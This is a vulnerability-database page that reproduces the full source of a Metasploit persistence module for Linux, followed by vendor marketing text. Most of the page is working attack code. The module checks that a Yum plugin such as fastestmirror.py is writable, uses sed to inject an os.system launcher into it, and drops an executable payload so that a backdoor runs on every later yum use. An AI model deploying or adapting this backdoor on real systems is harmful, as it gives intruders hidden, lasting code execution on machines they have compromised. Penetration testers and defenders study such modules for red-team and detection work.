Lucene search
+L

Yum Package Manager Persistence

🗓️ 19 Sep 2025 18:56:18Reported by Aaron RingoType 
metasploit
 metasploit
🔗 www.rapid7.com👁 629 Views

Module persists by modifying a Yum plugin to execute a chosen binary on package use.

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper
  include Msf::Post::File
  include Msf::Post::Linux::System
  include Msf::Exploit::Local::Persistence
  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Deprecated
  moved_from 'exploits/linux/local/yum_package_manager_persistence'

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Yum Package Manager Persistence',
        'Description' => %q{
          This module will run a payload when the package manager is used.
          This module modifies a yum plugin to launch a binary of choice.
          grep -F 'enabled=1' /etc/yum/pluginconf.d/
          will show what plugins are currently enabled on the system.
          root persmissions are likely required.
          Verified on Centos 7.1
        },
        'License' => MSF_LICENSE,
        'Author' => ['Aaron Ringo'],
        'Platform' => ['linux', 'unix'],
        'Arch' => [
          ARCH_CMD,
          ARCH_X86,
          ARCH_X64,
          ARCH_ARMLE,
          ARCH_AARCH64,
          ARCH_PPC,
          ARCH_MIPSLE,
          ARCH_MIPSBE
        ],
        'SessionTypes' => ['shell', 'meterpreter'],
        'DisclosureDate' => '2003-12-17', # Date published, Robert G. Browns documentation on Yum
        'References' => [
          ['URL', 'https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/deployment_guide/sec-yum_plugins'],
          ['ATT&CK', Mitre::Attack::Technique::T1546_EVENT_TRIGGERED_EXECUTION],
        ],
        'Targets' => [['Automatic', {}]],
        'DefaultTarget' => 0,
        'Privileged' => true,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT],
          'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES]
        }
      )
    )

    register_options(
      [
        # /usr/lib/yum-plugins/fastestmirror.py is a default enabled plugin in centos
        OptString.new('PLUGIN', [true, 'Yum Plugin to target', 'fastestmirror.py']),
        OptString.new('PAYLOAD_NAME', [false, 'Name of binary to write'])
      ]
    )

    register_advanced_options(
      [
        OptString.new('WritableDir', [true, 'A directory where we can write files', '/usr/local/bin/']),
        OptString.new('PluginPath', [true, 'Plugin Path to use', '/usr/lib/yum-plugins/'])
      ]
    )
  end

  def check
    return CheckCode::Safe("#{datastore['WritableDir']} does not exist") unless exists? datastore['WritableDir']
    return CheckCode::Safe("#{datastore['WritableDir']} not writable") unless writable? datastore['WritableDir']

    # checks /usr/lib/yum-plugins/PLUGIN.py exists and is writeable
    plugin = datastore['PLUGIN']
    full_plugin_path = "#{datastore['PluginPath']}#{plugin}"
    return CheckCode::Safe("#{full_plugin_path} does not exist") unless exists? full_plugin_path
    return CheckCode::Safe("#{full_plugin_path} not writable") unless writable? full_plugin_path
    return CheckCode::Safe('yum not found on system') unless command_exists? 'yum'
    return CheckCode::Safe('sed not found on system, required for exploitation') unless command_exists? 'sed'

    # /etc/yum.conf must contain plugins=1 for plugins to run at all
    plugins_enabled = cmd_exec "grep -F 'plugins=1' /etc/yum.conf"
    return CheckCode::Safe('Plugins are not set to be enabled in /etc/yum.conf') unless plugins_enabled.include? 'plugins=1'

    vprint_good('Plugins are enabled!')

    # /etc/yum/pluginconf.d/PLUGIN.conf must contain enabled=1
    plugin_conf = "/etc/yum/pluginconf.d/#{plugin.sub('.py', '')}.conf"
    plugin_enabled = cmd_exec "grep -F 'enabled=1' #{plugin_conf}"
    unless plugin_enabled.include? 'enabled=1'
      return CheckCode::Safe("#{plugin_conf} plugin is not configured to run")
    end

    # check that the plugin contains an import os, to backdoor
    import_os_check = cmd_exec "grep -F 'import os' #{full_plugin_path}"
    unless import_os_check.include? 'import os'
      return CheckCode::Safe("#{full_plugin_path} does not import os, which is odd")
    end

    CheckCode::Detected('yum installed and plugin found, enabled, and backdoorable')
  end

  def install_persistence
    plugin = datastore['PLUGIN']
    full_plugin_path = "#{datastore['PluginPath']}/#{plugin}"

    # plugins are made in python and generate pycs on successful execution
    print_warning('Either Yum has never been executed, or the selected plugin has not run') unless exist? "#{full_plugin_path}c"

    # check for write in backdoor path and set/generate backdoor name
    payload_path = datastore['WritableDir']
    payload_path = payload_path.end_with?('/') ? payload_path : "#{payload_path}/"
    payload_name = datastore['PAYLOAD_NAME'] || rand_text_alphanumeric(5..10)
    payload_path << payload_name

    # check for sed binary and then append launcher to plugin underneath
    print_status('Attempting to modify plugin')
    launcher = "os.system('setsid #{payload_path} 2>/dev/null \\& ')"
    sed_path = cmd_exec 'command -v sed'
    unless sed_path.include?('sed')
      fail_with Failure::NotVulnerable, 'Module uses sed to modify plugin, sed was not found'
    end
    sed_line = "#{sed_path} -ie \"/import os/ a #{launcher}\" #{full_plugin_path}"
    cmd_exec sed_line

    # actually write users payload to be executed then check for write
    if payload.arch.first == 'cmd'
      write_file(payload_path, payload.encoded)
    else
      write_file(payload_path, generate_payload_exe)
    end
    @clean_up_rc << "rm #{payload_path}\n"
    @clean_up_rc << "execute -f #{sed_path} -a \"-i /os\.system.*#{payload_name}/d #{full_plugin_path}\""
    unless exist? payload_path
      fail_with Failure::Unknown, "Failed to write #{payload_path}"
    end

    # change perms to reflect bins in /usr/local/bin/, give good feels
    chmod(payload_path, 0o755)
    print_status("Backdoor uploaded to #{payload_path}")
    print_good('Backdoor will run on next Yum update')
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation